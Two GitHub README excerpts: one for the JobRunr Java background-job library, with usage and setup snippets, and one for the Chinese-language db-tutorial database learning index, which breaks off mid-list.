src="https://sonarcloud.io/api/project_badges/measure?project=jobrunr_jobrunr&metric=bugs" /></a--><br/> <a href="https://twitter.com/intent/tweet?text=Try%20JobRunr%20for%20easy%20distributed%20background%20job%20processing%20on%20the%20JVM%21%20&url=https://www.jobrunr.io&via=jobrunr&hashtags=java,scheduling,processing,distributed,developers"><img alt="Tweet about us!" src="https://www.jobrunr.io/tweet-btn.svg?v2" /></a>&nbsp; <a href="https://github.com/jobrunr/jobrunr/stargazers"><img alt="Star us!" src="https://www.jobrunr.io/github-star-btn.svg?v2" /></a> <a href="https://github.com/jobrunr/jobrunr/discussions"><img src="https://img.shields.io/badge/chat-Github%20discussions-green" alt="Join the chat at Gitter" /></a><br /> </p> ## Overview ```java BackgroundJob.enqueue(() -> System.out.println("This is all you need for distributed jobs!")); ``` Incredibly easy way to perform **fire-and-forget**, **delayed**, **scheduled** and **recurring jobs** inside **Java applications** using only *Java 8 lambda's*. CPU and I/O intensive, long-running and short-running jobs are supported. Persistent storage is done via either RDBMS (e.g. Postgres, MariaDB/MySQL, Oracle, SQL Server, DB2 and SQLite) or NoSQL (ElasticSearch, MongoDB and Redis). JobRunr provides a unified programming model to handle background tasks in a **reliable way** and runs them on shared hosting, dedicated hosting or in the cloud ([hello Kubernetes](https://www.jobrunr.io/en/blog/2020-05-06-jobrunr-kubrnetes-terraform/)) within a JVM instance. ## Feedback > Thanks for building JobRunr, I like it a lot! Before that I used similar libraries in Ruby and Golang and JobRunr so far is the most pleasant one to use. I especially like the dashboard, it’s awesome! [Alex Denisov](https://www.linkedin.com/in/alex-denisov-a29bab2a/) View more feedback on [jobrunr.io](https://www.jobrunr.io/en/#why-jobrunr). ## Features - Simple: just use Java 8 lambda's to create a background job. - Distributed & cluster-friendly: guarantees execution by single scheduler instance using optimistic locking. - Persistent jobs: using either a RDBMS (four tables and a view) or a NoSQL data store. - Embeddable: built to be embedded in existing applications. - Minimal dependencies: ([ASM](https://asm.ow2.io/), slf4j and either [jackson](https://github.com/FasterXML/jackson) and jackson-datatype-jsr310, [gson](https://github.com/google/gson) or a JSON-B compliant library). ## Usage scenarios Some scenarios where it may be a good fit: - within a REST api return response to client immediately and perform long-running job in the background - mass notifications/newsletters - calculations of wages and the creation of the resulting documents - batch import from xml, csv or json - creation of archives - firing off web hooks - image/video processing - purging temporary files - recurring automated reports - database maintenance - updating elasticsearch/solr after data changes - *…and so on* You can start small and process jobs within your web app or scale horizontally and add as many background job servers as you want to handle a peak of jobs. JobRunr will distribute the load over all the servers for you. JobRunr is also fault-tolerant - is an external web service down? No worries, the job is automatically retried 10-times with a smart back-off policy. JobRunr is a Java alternative to [HangFire](https://github.com/HangfireIO/Hangfire), [Resque](https://github.com/resque/resque), [Sidekiq](http://sidekiq.org), [delayed_job](https://github.com/collectiveidea/delayed_job), [Celery](https://github.com/celery/celery) and is similar to [Quartz](https://github.com/quartz-scheduler/quartz) and [Spring Task Scheduler](https://github.com/spring-guides/gs-scheduling-tasks). Screenshots ----------- <img src="https://user-images.githubusercontent.com/567842/80217070-60019700-863f-11ea-9f02-d62c77e97a1c.png" width="45%" style="margin-right: 20px;"></img>&nbsp;&nbsp;&nbsp;<img src="https://user-images.githubusercontent.com/567842/80217075-609a2d80-863f-11ea-8994-cd0ca16b31c4.png" width="45%"></img> <br/> <img src="https://user-images.githubusercontent.com/567842/80217067-5f690080-863f-11ea-9d41-3e2878ae7ac8.png" width="45%" style="margin-right: 20px;"></img>&nbsp;&nbsp;&nbsp;<img src="https://user-images.githubusercontent.com/567842/80217063-5ed06a00-863f-11ea-847b-3ed829fd5503.png" width="45%"></img><br /><img src="https://user-images.githubusercontent.com/567842/80217079-6132c400-863f-11ea-9789-8633897ef317.png" width="45%" style="margin-right: 20px;"></img>&nbsp;&nbsp;&nbsp;<img src="https://user-images.githubusercontent.com/567842/80217078-609a2d80-863f-11ea-9b49-c891985de924.png" width="45%"></img> Usage ------ [**Fire-and-forget tasks**](https://www.jobrunr.io/en/documentation/background-methods/enqueueing-jobs/) Dedicated worker pool threads execute queued background jobs as soon as possible, shortening your request's processing time. ```java BackgroundJob.enqueue(() -> System.out.println("Simple!")); ``` [**Delayed tasks**](https://www.jobrunr.io/en/documentation/background-methods/scheduling-jobs/) Scheduled background jobs are executed only after a given amount of time. ```java BackgroundJob.schedule(Instant.now().plusHours(5), () -> System.out.println("Reliable!")); ``` [**Recurring tasks**](https://www.jobrunr.io/en/documentation/background-methods/recurring-jobs/) Recurring jobs have never been simpler; just call the following method to perform any kind of recurring task using the [CRON expressions](http://en.wikipedia.org/wiki/Cron#CRON_expression). ```java BackgroundJob.scheduleRecurrently("my-recurring-job", Cron.daily(), () -> service.doWork()); ``` **Process background tasks inside a web application…** You can process background tasks in any web application and we have thorough support for [Spring](https://spring.io/) - JobRunr is reliable to process your background jobs within a web application. **… or anywhere else** Like a Spring Console Application, wrapped in a docker container, that keeps running forever and polls for new background jobs. See [https://www.jobrunr.io](https://www.jobrunr.io) for more info. Installation ------------ #### Using Maven? JobRunr is available in Maven Central - all you need to do is add the following dependency: ```xml <dependency> <groupId>org.jobrunr</groupId> <artifactId>jobrunr</artifactId> <version>${jobrunr.version}</version> </dependency> ``` #### Using Gradle? Just add the dependency to JobRunr: ```groovy implementation 'org.jobrunr:jobrunr:${jobrunr.version}' ``` Configuration ------------ #### Do you like to work Spring based? Add the [*jobrunr-spring-boot-3-starter*](https://search.maven.org/artifact/org.jobrunr/jobrunr-spring-boot-3-starter) to your dependencies and you're almost ready to go! Just set up your `application.properties`: ``` # the job-scheduler is enabled by default # the background-job-server and dashboard are disabled by default org.jobrunr.job-scheduler.enabled=true org.jobrunr.background-job-server.enabled=true org.jobrunr.dashboard.enabled=true ``` #### Or do you prefer a fluent API? Define a `javax.sql.DataSource` and put the following code on startup: ```java @SpringBootApplication public class JobRunrApplication { public static void main(String[] args) { SpringApplication.run(JobRunrApplication.class, args); } @Bean public JobScheduler initJobRunr(DataSource dataSource, JobActivator jobActivator) { return JobRunr.configure() .useJobActivator(jobActivator) .useStorageProvider(SqlStorageProviderFactory .using(dataSource)) .useBackgroundJobServer() .useDashboard() .initialize().getJobScheduler(); } } ``` ## Contributing See [CONTRIBUTING](https://github.com/jobrunr/jobrunr/blob/master/CONTRIBUTING.md) for details on submitting patches and the contribution workflow. ### How can I contribute? * Take a look at issues with tag called [`Good first issue`](https://github.com/jobrunr/jobrunr/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) * Join the discussion on [Github discussion](https://github.com/jobrunr/jobrunr/discussions) - we won't be using Gitter anymore. * Answer questions on [issues](https://github.com/jobrunr/jobrunr/issues). * Fix bugs reported on [issues](https://github.com/jobrunr/jobrunr/issues), and send us pull request. ### How to build? * `git clone https://github.com/jobrunr/jobrunr.git` * `cd jobrunr` * `cd core/src/main/resources/org/jobrunr/dashboard/frontend` * `npm i` * `npm run build` * `cd -` * `./gradlew publishToMavenLocal` Then, in your own project you can depend on `org.jobrunr:jobrunr:1.0.0-SNAPSHOT`.
0
dunwu/db-tutorial
📚 db-tutorial 是一个数据库教程。
2017-08-08T06:33:38Z
null
<p align="center"> <a href="https://dunwu.github.io/db-tutorial/" target="_blank" rel="noopener noreferrer"> <img src="https://raw.githubusercontent.com/dunwu/images/master/common/dunwu-logo.png" alt="logo" width="150px"/> </a> </p> <p align="center"> <a href="https://github.com/dunwu/db-tutorial"> <img alt="star" class="no-zoom" src="https://img.shields.io/github/stars/dunwu/db-tutorial?style=for-the-badge"> </a> <a href="https://github.com/dunwu/db-tutorial"> <img alt="fork" class="no-zoom" src="https://img.shields.io/github/forks/dunwu/db-tutorial?style=for-the-badge"> </a> <a href="https://github.com/dunwu/db-tutorial/commits/master"> <img alt="build" class="no-zoom" src="https://img.shields.io/github/actions/workflow/status/dunwu/db-tutorial/deploy.yml?style=for-the-badge"> </a> <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh"> <img alt="code style" class="no-zoom" src="https://img.shields.io/github/license/dunwu/db-tutorial?style=for-the-badge"> </a> </p> <h1 align="center">DB-TUTORIAL</h1> > 💾 **db-tutorial** 是一个数据库教程。 > > - 🔁 项目同步维护:[Github](https://github.com/dunwu/db-tutorial/) | [Gitee](https://gitee.com/turnon/db-tutorial/) > - 📖 电子书阅读:[Github Pages](https://dunwu.github.io/db-tutorial/) | [Gitee Pages](https://turnon.gitee.io/db-tutorial/) ## 数据库综合 ### 分布式存储原理 #### 分布式理论 - [分布式一致性](https://dunwu.github.io/blog/pages/dac0e2/) - [深入剖析共识性算法 Paxos](https://dunwu.github.io/blog/pages/874539/) - [深入剖析共识性算法 Raft](https://dunwu.github.io/blog/pages/e40812/) - [分布式算法 Gossip](https://dunwu.github.io/blog/pages/d15993/) #### 分布式关键技术 ##### 流量调度 - [流量控制](https://dunwu.github.io/blog/pages/282676/) - [负载均衡](https://dunwu.github.io/blog/pages/98a1c1/) - [服务路由](https://dunwu.github.io/blog/pages/d04ece/) - [分布式会话基本原理](https://dunwu.github.io/blog/pages/3e66c2/) ##### 数据调度 - [缓存基本原理](https://dunwu.github.io/blog/pages/471208/) - [读写分离基本原理](https://dunwu.github.io/blog/pages/7da6ca/) - [分库分表基本原理](https://dunwu.github.io/blog/pages/103382/) - [分布式 ID 基本原理](https://dunwu.github.io/blog/pages/0b2e59/) - [分布式事务基本原理](https://dunwu.github.io/blog/pages/910bad/) - [分布式锁基本原理](https://dunwu.github.io/blog/pages/69360c/) ### 其他 - [Nosql 技术选型](docs/12.数据库/01.数据库综合/01.Nosql技术选型.md) - [数据结构与数据库索引](docs/12.数据库/01.数据库综合/02.数据结构与数据库索引.md) ## 数据库中间件 - [ShardingSphere 简介](docs/12.数据库/02.数据库中间件/01.Shardingsphere/01.ShardingSphere简介.md) - [ShardingSphere Jdbc](docs/12.数据库/02.数据库中间件/01.Shardingsphere/02.ShardingSphereJdbc.md) - [版本管理中间件 Flyway](docs/12.数据库/02.数据库中间件/02.Flyway.md) ## 关系型数据库 > [关系型数据库](docs/12.数据库/03.关系型数据库) 整理主流关系型数据库知识点。 ### 关系型数据库综合 - [关系型数据库面试总结](docs/12.数据库/03.关系型数据库/01.综合/01.关系型数据库面试.md) 💯 - [SQL 语法基础特性](docs/12.数据库/03.关系型数据库/01.综合/02.SQL语法基础特性.md) - [SQL 语法高级特性](docs/12.数据库/03.关系型数据库/01.综合/03.SQL语法高级特性.md) - [扩展 SQL](docs/12.数据库/03.关系型数据库/01.综合/03.扩展SQL.md) - [SQL Cheat Sheet](docs/12.数据库/03.关系型数据库/01.综合/99.SqlCheatSheet.md) ### Mysql ![img](https://raw.githubusercontent.com/dunwu/images/master/snap/20200716103611.png) - [Mysql 应用指南](docs/12.数据库/03.关系型数据库/02.Mysql/01.Mysql应用指南.md) ⚡ - [Mysql 工作流](docs/12.数据库/03.关系型数据库/02.Mysql/02.MySQL工作流.md) - 关键词:`连接`、`缓存`、`语法分析`、`优化`、`执行引擎`、`redo log`、`bin log`、`两阶段提交` - [Mysql 事务](docs/12.数据库/03.关系型数据库/02.Mysql/03.Mysql事务.md) - 关键词:`ACID`、`AUTOCOMMIT`、`事务隔离级别`、`死锁`、`分布式事务` - [Mysql 锁](docs/12.数据库/03.关系型数据库/02.Mysql/04.Mysql锁.md) - 关键词:`乐观锁`、`表级锁`、`行级锁`、`意向锁`、`MVCC`、`Next-key 锁` - [Mysql 索引](docs/12.数据库/03.关系型数据库/02.Mysql/05.Mysql索引.md) - 关键词:`Hash`、`B 树`、`聚簇索引`、`回表` - [Mysql 性能优化](docs/12.数据库/03.关系型数据库/02.Mysql/06.Mysql性能优化.md) - [Mysql 运维](docs/12.数据库/03.关系型数据库/02.Mysql/20.Mysql运维.md) 🔨 - [Mysql 配置](docs/12.数据库/03.关系型数据库/02.Mysql/21.Mysql配置.md) 🔨 - [Mysql 问题](docs/12.数据库/03.关系型数据库/02.Mysql/99.Mysql常见问题.md) ### 其他 - [PostgreSQL 应用指南](docs/12.数据库/03.关系型数据库/99.其他/01.PostgreSQL.md) - [H2 应用指南](docs/12.数据库/03.关系型数据库/99.其他/02.H2.md) - [SqLite 应用指南](docs/12.数据库/03.关系型数据库/99.其他/03.Sqlite.md) ## 文档数据库 ### MongoDB > MongoDB 是一个基于文档的分布式数据库,由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。 > > MongoDB 是一个介于关系型数据库和非关系型数据库之间的产品。它是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似 json 的 bson 格式,因此可以存储比较复杂的数据类型。 > > MongoDB 最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。 - [MongoDB 应用指南](docs/12.数据库/04.文档数据库/01.MongoDB/01.MongoDB应用指南.md) - [MongoDB 的 CRUD 操作](docs/12.数据库/04.文档数据库/01.MongoDB/02.MongoDB的CRUD操作.md) - [MongoDB 聚合操作](docs/12.数据库/04.文档数据库/01.MongoDB/03.MongoDB的聚合操作.md) - [MongoDB 事务](docs/12.数据库/04.文档数据库/01.MongoDB/04.MongoDB事务.md) - [MongoDB 建模](docs/12.数据库/04.文档数据库/01.MongoDB/05.MongoDB建模.md) - [MongoDB 建模示例](docs/12.数据库/04.文档数据库/01.MongoDB/06.MongoDB建模示例.md) - [MongoDB 索引](docs/12.数据库/04.文档数据库/01.MongoDB/07.MongoDB索引.md) - [MongoDB 复制](docs/12.数据库/04.文档数据库/01.MongoDB/08.MongoDB复制.md) - [MongoDB 分片](docs/12.数据库/04.文档数据库/01.MongoDB/09.MongoDB分片.md) - [MongoDB 运维](docs/12.数据库/04.文档数据库/01.MongoDB/20.MongoDB运维.md) ## KV 数据库 ### Redis ![img](https://raw.githubusercontent.com/dunwu/images/master/snap/20200713105627.png) - [Redis 面试总结](docs/12.数据库/05.KV数据库/01.Redis/01.Redis面试总结.md) 💯 - [Redis 应用指南](docs/12.数据库/05.KV数据库/01.Redis/02.Redis应用指南.md) ⚡ - 关键词:`内存淘汰`、`事件`、`事务`、`管道`、`发布与订阅` - [Redis 数据类型和应用](docs/12.数据库/05.KV数据库/01.Redis/03.Redis数据类型和应用.md) - 关键词:`STRING`、`HASH`、`LIST`、`SET`、`ZSET`、`BitMap`、`HyperLogLog`、`Geo` - [Redis 持久化](docs/12.数据库/05.KV数据库/01.Redis/04.Redis持久化.md) - 关键词:`RDB`、`AOF`、`SAVE`、`BGSAVE`、`appendfsync` - [Redis 复制](docs/12.数据库/05.KV数据库/01.Redis/05.Redis复制.md) - 关键词:`SLAVEOF`、`SYNC`、`PSYNC`、`REPLCONF ACK` - [Redis 哨兵](docs/12.数据库/05.KV数据库/01.Redis/06.Redis哨兵.md) - 关键词:`Sentinel`、`PING`、`INFO`、`Raft` - [Redis 集群](docs/12.数据库/05.KV数据库/01.Redis/07.Redis集群.md) - 关键词:`CLUSTER MEET`、`Hash slot`、`MOVED`、`ASK`、`SLAVEOF no one`、`redis-trib` - [Redis 实战](docs/12.数据库/05.KV数据库/01.Redis/08.Redis实战.md) - 关键词:`缓存`、`分布式锁`、`布隆过滤器` - [Redis 运维](docs/12.数据库/05.KV数据库/01.Redis/20.Redis运维.md) 🔨 - 关键词:`安装`、`命令`、`集群`、`客户端` ## 列式数据库 ### HBase - [HBase 快速入门](docs/12.数据库/06.列式数据库/01.HBase/01.HBase快速入门.md) - [HBase 数据模型](docs/12.数据库/06.列式数据库/01.HBase/02.HBase数据模型.md) - [HBase Schema 设计](docs/12.数据库/06.列式数据库/01.HBase/03.HBaseSchema设计.md) - [HBase 架构](docs/12.数据库/06.列式数据库/01.HBase/04.HBase架构.md) - [HBase Java API 基础特性](docs/12.数据库/06.列式数据库/01.HBase/10.HBaseJavaApi基础特性.md) - [HBase Java API 高级特性之过滤器](docs/12.数据库/06.列式数据库/01.HBase/11.HBaseJavaApi高级特性之过滤器.md) - [HBase Java API 高级特性之协处理器](docs/12.数据库/06.列式数据库/01.HBase/12.HBaseJavaApi高级特性之协处理器.md) - [HBase Java API 其他高级特性](docs/12.数据库/06.列式数据库/01.HBase/13.HBaseJavaApi其他高级特性.md) - [HBase 运维](docs/12.数据库/06.列式数据库/01.HBase/21.HBase运维.md) - [HBase 命令](docs/12.数据库/06.列式数据库/01.HBase/22.HBase命令.md) ## 搜索引擎数据库 ### Elasticsearch > Elasticsearch 是一个基于 Lucene 的搜索和数据分析工具,它提供了一个分布式服务。Elasticsearch 是遵从 Apache 开源条款的一款开源产品,是当前主流的企业级搜索引擎。 - [Elasticsearch 面试总结](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/01.Elasticsearch面试总结.md) 💯 - [Elasticsearch 快速入门](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/02.Elasticsearch快速入门.md) - [Elasticsearch 简介](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/03.Elasticsearch简介.md) - [Elasticsearch 索引](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/04.Elasticsearch索引.md) - [Elasticsearch 查询](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/05.Elasticsearch查询.md) - [Elasticsearch 高亮](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/06.Elasticsearch高亮.md) - [Elasticsearch 排序](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/07.Elasticsearch排序.md) - [Elasticsearch 聚合](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/08.Elasticsearch聚合.md) - [Elasticsearch 分析器](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/09.Elasticsearch分析器.md) - [Elasticsearch 性能优化](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/10.Elasticsearch性能优化.md) - [Elasticsearch Rest API](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/11.ElasticsearchRestApi.md) - [ElasticSearch Java API 之 High Level REST Client](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/12.ElasticsearchHighLevelRestJavaApi.md) - [Elasticsearch 集群和分片](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/13.Elasticsearch集群和分片.md) - [Elasticsearch 运维](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/20.Elasticsearch运维.md) ### Elastic - [Elastic 快速入门](docs/12.数据库/07.搜索引擎数据库/02.Elastic/01.Elastic快速入门.md) - [Elastic 技术栈之 Filebeat](docs/12.数据库/07.搜索引擎数据库/02.Elastic/02.Elastic技术栈之Filebeat.md) - [Filebeat 运维](docs/12.数据库/07.搜索引擎数据库/02.Elastic/03.Filebeat运维.md) - [Elastic 技术栈之 Kibana](docs/12.数据库/07.搜索引擎数据库/02.Elastic/04.Elastic技术栈之Kibana.md) - [Kibana 运维](docs/12.数据库/07.搜索引擎数据库/02.Elastic/05.Kibana运维.md) - [Elastic 技术栈之 Logstash](docs/12.数据库/07.搜索引擎数据库/02.Elastic/06.Elastic技术栈之Logstash.md) - [Logstash 运维](docs/12.数据库/07.搜索引擎数据库/02.Elastic/07.Logstash运维.md) ## 资料 📚 ### 数据库综合资料 - [DB-Engines](https://db-engines.com/en/ranking) - 数据库流行度排名 - **书籍** - [《数据密集型应用系统设计》](https://book.douban.com/subject/30329536/) - 这可能是目前最好的分布式存储书籍,强力推荐【进阶】 - **教程** - [CMU 15445 数据库基础课程](https://15445.courses.cs.cmu.edu/fall2019/schedule.html) - [CMU 15721 数据库高级课程](https://15721.courses.cs.cmu.edu/spring2020/schedule.html) - [检索技术核心 20 讲](https://time.geekbang.org/column/intro/100048401) - 极客教程【进阶】 - [后端存储实战课](https://time.geekbang.org/column/intro/100046801) - 极客教程【入门】:讲解存储在电商领域的种种应用和一些基本特性 - **论文** - [Efficiency in the Columbia Database Query Optimizer](https://15721.courses.cs.cmu.edu/spring2018/papers/15-optimizer1/xu-columbia-thesis1998.pdf) - [How Good Are Query Optimizers, Really?](http://www.vldb.org/pvldb/vol9/p204-leis.pdf) - [Architecture of a Database System](https://dsf.berkeley.edu/papers/fntdb07-architecture.pdf) - [Data Structures for Databases](https://www.cise.ufl.edu/~mschneid/Research/papers/HS05BoCh.pdf) - **文章** - [Data Structures and Algorithms for Big Databases](https://people.csail.mit.edu/bradley/BenderKuszmaul-tutorial-xldb12.pdf) ### 关系型数据库资料 - **综合资料** - [《数据库的索引设计与优化》](https://book.douban.com/subject/26419771/) - [《SQL 必知必会》](https://book.douban.com/subject/35167240/) - SQL 的基本概念和语法【入门】 - **Oracle 资料** - [《Oracle Database 9i/10g/11g 编程艺术》](https://book.douban.com/subject/5402711/) #### Mysql 资料 - **官方** - [Mysql 官网](https://www.mysql.com/) - [Mysql 官方文档](https://dev.mysql.com/doc/) - **官方 PPT** - [How to Analyze and Tune MySQL Queries for Better Performance](https://www.mysql.com/cn/why-mysql/presentations/tune-mysql-queries-performance/) - [MySQL Performance Tuning 101](https://www.mysql.com/cn/why-mysql/presentations/mysql-performance-tuning101/) - [MySQL Performance Schema & Sys Schema](https://www.mysql.com/cn/why-mysql/presentations/mysql-performance-sys-schema/) - [MySQL Performance: Demystified Tuning & Best Practices](https://www.mysql.com/cn/why-mysql/presentations/mysql-performance-tuning-best-practices/) - [MySQL Security Best Practices](https://www.mysql.com/cn/why-mysql/presentations/mysql-security-best-practices/) - [MySQL Cluster Deployment Best Practices](https://www.mysql.com/cn/why-mysql/presentations/mysql-cluster-deployment-best-practices/) - [MySQL High Availability with InnoDB Cluster](https://www.mysql.com/cn/why-mysql/presentations/mysql-high-availability-innodb-cluster/) - **书籍** - [《高性能 MySQL》](https://book.douban.com/subject/23008813/) - 经典,适合 DBA 或作为开发者的参考手册【进阶】 - [《MySQL 技术内幕:InnoDB 存储引擎》](https://book.douban.com/subject/24708143/) - [《MySQL 必知必会》](https://book.douban.com/subject/3354490/) - Mysql 的基本概念和语法【入门】 - **教程** - [runoob.com MySQL 教程](http://www.runoob.com/mysql/mysql-tutorial.html) - 入门级 SQL 教程 - [mysql-tutorial](https://github.com/jaywcjlove/mysql-tutorial) - **文章** - [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html) - [Some study on database storage internals](https://medium.com/@kousiknath/data-structures-database-storage-internals-1f5ed3619d43) - [Sharding Pinterest: How we scaled our MySQL fleet](https://medium.com/@Pinterest_Engineering/sharding-pinterest-how-we-scaled-our-mysql-fleet-3f341e96ca6f) - [Guide to MySQL High Availability](https://www.mysql.com/cn/why-mysql/white-papers/mysql-guide-to-high-availability-solutions/) - [Choosing MySQL High Availability Solutions](https://dzone.com/articles/choosing-mysql-high-availability-solutions) - [High availability with MariaDB TX: The definitive guide](https://mariadb.com/sites/default/files/content/Whitepaper_High_availability_with_MariaDB-TX.pdf) - Mysql 相关经验 - [Booking.com: Evolution of MySQL System Design](https://www.percona.com/live/mysql-conference-2015/sessions/bookingcom-evolution-mysql-system-design) ,Booking.com 的 MySQL 数据库使用的演化,其中有很多不错的经验分享,我相信也是很多公司会遇到的的问题。 - [Tracking the Money - Scaling Financial Reporting at Airbnb](https://medium.com/airbnb-engineering/tracking-the-money-scaling-financial-reporting-at-airbnb-6d742b80f040) ,Airbnb 的数据库扩展的经验分享。 - [Why Uber Engineering Switched from Postgres to MySQL](https://eng.uber.com/mysql-migration/) ,无意比较两个数据库谁好谁不好,推荐这篇 Uber 的长文,主要是想让你从中学习到一些经验和技术细节,这是一篇很不错的文章。 - Mysql 集群复制 - [Monitoring Delayed Replication, With A Focus On MySQL](https://engineering.imvu.com/2013/01/09/monitoring-delayed-replication-with-a-focus-on-mysql/) - [Mitigating replication lag and reducing read load with freno](https://githubengineering.com/mitigating-replication-lag-and-reducing-read-load-with-freno/) - [Better Parallel Replication for MySQL](https://medium.com/booking-com-infrastructure/better-parallel-replication-for-mysql-14e2d7857813) - [Evaluating MySQL Parallel Replication Part 2: Slave Group Commit](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-2-slave-group-commit-459026a141d2) - [Evaluating MySQL Parallel Replication Part 3: Benchmarks in Production](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-3-benchmarks-in-production-db5811058d74) - [Evaluating MySQL Parallel Replication Part 4: More Benchmarks in Production](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-4-more-benchmarks-in-production-49ee255043ab) - [Evaluating MySQL Parallel Replication Part 4, Annex: Under the Hood](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-4-annex-under-the-hood-eb456cf8b2fb) - Mysql 数据分区 - [StackOverflow: MySQL sharding approaches?](https://stackoverflow.com/questions/5541421/mysql-sharding-approaches) - [Why you don’t want to shard](https://www.percona.com/blog/2009/08/06/why-you-dont-want-to-shard/) - [How to Scale Big Data Applications](https://www.percona.com/sites/default/files/presentations/How to Scale Big Data Applications.pdf) - [MySQL Sharding with ProxySQL](https://www.percona.com/blog/2016/08/30/mysql-sharding-with-proxysql/) - 各公司的 Mysql 数据分区经验分享 - [MailChimp: Using Shards to Accommodate Millions of Users](https://devs.mailchimp.com/blog/using-shards-to-accommodate-millions-of-users/) - [Uber: Code Migration in Production: Rewriting the Sharding Layer of Uber’s Schemaless Datastore](https://eng.uber.com/schemaless-rewrite/) - [Sharding & IDs at Instagram](https://instagram-engineering.com/sharding-ids-at-instagram-1cf5a71e5a5c) - [Airbnb: How We Partitioned Airbnb’s Main Database in Two Weeks](https://medium.com/airbnb-engineering/how-we-partitioned-airbnb-s-main-database-in-two-weeks-55f7e006ff21) - **更多资源** - [awesome-mysql](https://github.com/jobbole/awesome-mysql-cn) - MySQL 的资源列表 ### Nosql 数据库综合 - Martin Fowler 在 YouTube 上分享的 NoSQL 介绍 [Introduction To NoSQL](https://youtu.be/qI_g07C_Q5I), 以及他参与编写的 [NoSQL Distilled - NoSQL 精粹](https://book.douban.com/subject/25662138/),这本书才 100 多页,是本难得的关于 NoSQL 的书,很不错,非常易读。 - [NoSQL Databases: a Survey and Decision Guidance](https://medium.com/baqend-blog/nosql-databases-a-survey-and-decision-guidance-ea7823a822d#.nhzop4d23),这篇文章可以带你自上而下地从 CAP 原理到开始了解 NoSQL 的种种技术,是一篇非常不错的文章。 - [Distribution, Data, Deployment: Software Architecture Convergence in Big Data Systems](https://resources.sei.cmu.edu/asset_files/WhitePaper/2014_019_001_90915.pdf),这是卡内基·梅隆大学的一篇讲分布式大数据系统的论文。其中主要讨论了在大数据时代下的软件工程中的一些关键点,也说到了 NoSQL 数据库。 - [No Relation: The Mixed Blessings of Non-Relational Databases](http://ianvarley.com/UT/MR/Varley_MastersReport_Full_2009-08-07.pdf),这篇论文虽然有点年代久远。但这篇论文是 HBase 的基础,你花上一点时间来读读,就可以了解到,对各种非关系型数据存储优缺点的一个很好的比较。 - [NoSQL Data Modeling Techniques](https://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/) ,NoSQL 建模技术。这篇文章我曾经翻译在了 CoolShell 上,标题为 [NoSQL 数据建模技术](https://coolshell.cn/articles/7270.htm),供你参考。 - [MongoDB - Data Modeling Introduction](https://docs.mongodb.com/manual/core/data-modeling-introduction/) ,虽然这是 MongoDB 的数据建模介绍,但是其很多观点可以用于其它的 NoSQL 数据库。 - [Firebase - Structure Your Database](https://firebase.google.com/docs/database/android/structure-data) ,Google 的 Firebase 数据库使用 JSON 建模的一些最佳实践。 - 因为 CAP 原理,所以当你需要选择一个 NoSQL 数据库的时候,你应该看看这篇文档 [Visual Guide to NoSQL Systems](http://blog.nahurst.com/visual-guide-to-nosql-systems)。 选 SQL 还是 NoSQL,这里有两篇文章,值得你看看。 - [SQL vs. NoSQL Databases: What’s the Difference?](https://www.upwork.com/hiring/data/sql-vs-nosql-databases-whats-the-difference/) - [Salesforce: SQL or NoSQL](https://engineering.salesforce.com/sql-or-nosql-9eaf1d92545b) ### 列式数据库资料 #### Cassandra 资料 - 沃尔玛实验室有两篇文章值得一读。 - [Avoid Pitfalls in Scaling Cassandra Cluster at Walmart](https://medium.com/walmartlabs/avoid-pitfalls-in-scaling-your-cassandra-cluster-lessons-and-remedies-a71ca01f8c04) - [Storing Images in Cassandra at Walmart](https://medium.com/walmartlabs/building-object-store-storing-images-in-cassandra-walmart-scale-a6b9c02af593) - [Yelp: How We Scaled Our Ad Analytics with Apache Cassandra](https://engineeringblog.yelp.com/2016/08/how-we-scaled-our-ad-analytics-with-cassandra.html) ,Yelp 的这篇博客也有一些相关的经验和教训。 - [Discord: How Discord Stores Billions of Messages](https://blog.discordapp.com/how-discord-stores-billions-of-messages-7fa6ec7ee4c7) ,Discord 公司分享的一个如何存储十亿级消息的技术文章。 - [Cassandra at Instagram](https://www.slideshare.net/DataStax/cassandra-at-instagram-2016) ,Instagram 的一个 PPT,其中介绍了 Instagram 中是怎么使用 Cassandra 的。 - [Netflix: Benchmarking Cassandra Scalability on AWS - Over a million writes per second](https://medium.com/netflix-techblog/benchmarking-cassandra-scalability-on-aws-over-a-million-writes-per-second-39f45f066c9e) ,Netflix 公司在 AWS 上给 Cassandra 做的一个 Benchmark。 #### HBase 资料 - [Imgur Notification: From MySQL to HBASE](https://medium.com/imgur-engineering/imgur-notifications-from-mysql-to-hbase-9dba6fc44183) - [Pinterest: Improving HBase Backup Efficiency](https://medium.com/@Pinterest_Engineering/improving-hbase-backup-efficiency-at-pinterest-86159da4b954) - [IBM : Tuning HBase performance](https://www.ibm.com/support/knowledgecenter/en/SSPT3X_2.1.2/com.ibm.swg.im.infosphere.biginsights.analyze.doc/doc/bigsql_TuneHbase.html) - [HBase File Locality in HDFS](http://www.larsgeorge.com/2010/05/hbase-file-locality-in-hdfs.html) - [Apache Hadoop Goes Realtime at 